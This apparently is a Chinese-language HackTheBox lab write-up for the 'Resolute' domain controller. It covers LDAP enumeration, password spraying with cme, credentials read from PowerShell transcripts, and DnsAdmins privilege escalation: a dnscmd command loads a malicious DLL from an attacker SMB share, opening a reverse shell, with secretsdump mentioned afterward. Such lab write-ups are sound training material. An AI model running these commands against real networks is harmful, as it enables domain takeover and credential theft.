hackthebox-220-resolute
hackthebox resolute
port scan
使用rustscan做端口扫描,发现存在139,445,389等端口开放。
services
使用windapsearch对ldap服务进行枚举,枚举用户、组、以及全量信息。
1 | mod="users"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt" |

对检索出的信息,进行过滤查看,以常见关键词进行过滤,发现Account description中存在密码Welcome123!。
1 | cat custom.all.txt | rg -iaP "((pass)|(pwd)|(cred)|(desc))" | rg -ivP "((badpwdcount)|(badpasswordtime)|(pwdlastset))" | rg -iaP "((pass)|(pwd)|(cred)|(desc))" |

发现密码后,根据密码找到此密码对应到哪个用户。
1 | cat custom.all.txt | rg -B7 -A30 -iaP "welcome123" |

找到marko / Welcome123!凭据。根据此凭据先尝试登录(不成功),使用cme查看密码策略, 发现没有设置锁定策略。
1 | cme smb '10.10.10.169' -u '' -p '' --pass-pol |
没有密码锁定策略,可以尝试密码喷洒, 得到可登录凭据melanie / Welcome123!。
1 | cme smb '10.10.10.169' -u './megabank.local.users.txt' -p 'Welcome123!' --continue-on-success |

foothold
使用evil-winrm以melanie / Welcome123!凭据登录目标。

priv esca
一番枚举后,发现根目录下存在隐藏目录PSTranscripts,其中存在pwsh
执行历史记录,包含登录凭据。

在pwsh历史记录中,发现ryan的凭据ryan / Serv3r4Admin4cc123!。

尝试使用ryan / Serv3r4Admin4cc123!登录winrm(成功),可以再次尝试密码喷洒。
一番枚举,发现ryan用户归属于DnsAdmins组,因此可以尝试添加Dns plugin的方式,使得恶意插件启动,从而提升权限。
参照esca priv with dnsadmins group active direcotry文章,
制作dns恶意插件,由于启动进程后,执行反弹shell连接,会导致插件停止继续运行,shell不稳定,可以使用多线程编程,可以使得
reverse shell在单独的线程中,不会影响dns服务运行,导致服务异常停止,shell不稳定。
根据dim0x69/dns-exe-persistance插件模板,以及cpp rev shell
制作恶意dns plugin.

监听对应端口,等待反弹shell.
启动smb share, 托管恶意插件,然后在目标机器安装插件,并重启dns服务,让插件启动,应该可以得到反弹shell.

执行命令,加载dns plugin,并重启dns服务。
1 | dnscmd resolute.megabank.local /config /serverlevelplugindll \\10.10.14.22\share\dnsAplugin.dll; sc.exe stop dns; sc.exe start dns; |

监听端口处,得到反弹administrator shell,由于目标是域控,则得到了域管权限.

post
尝试使用impacket-secretsdump获取所有域用户的凭据。
hackthebox-220-resolute